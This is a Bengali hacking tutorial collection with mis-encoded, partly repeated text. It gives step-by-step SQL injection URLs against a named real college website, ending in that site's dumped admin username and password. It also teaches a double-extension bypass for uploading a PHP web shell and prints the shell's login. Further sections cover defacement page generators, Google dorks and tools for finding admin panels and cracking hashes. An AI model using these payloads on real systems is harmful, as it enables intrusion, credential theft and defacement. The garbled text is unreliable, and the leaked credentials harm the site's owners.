সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
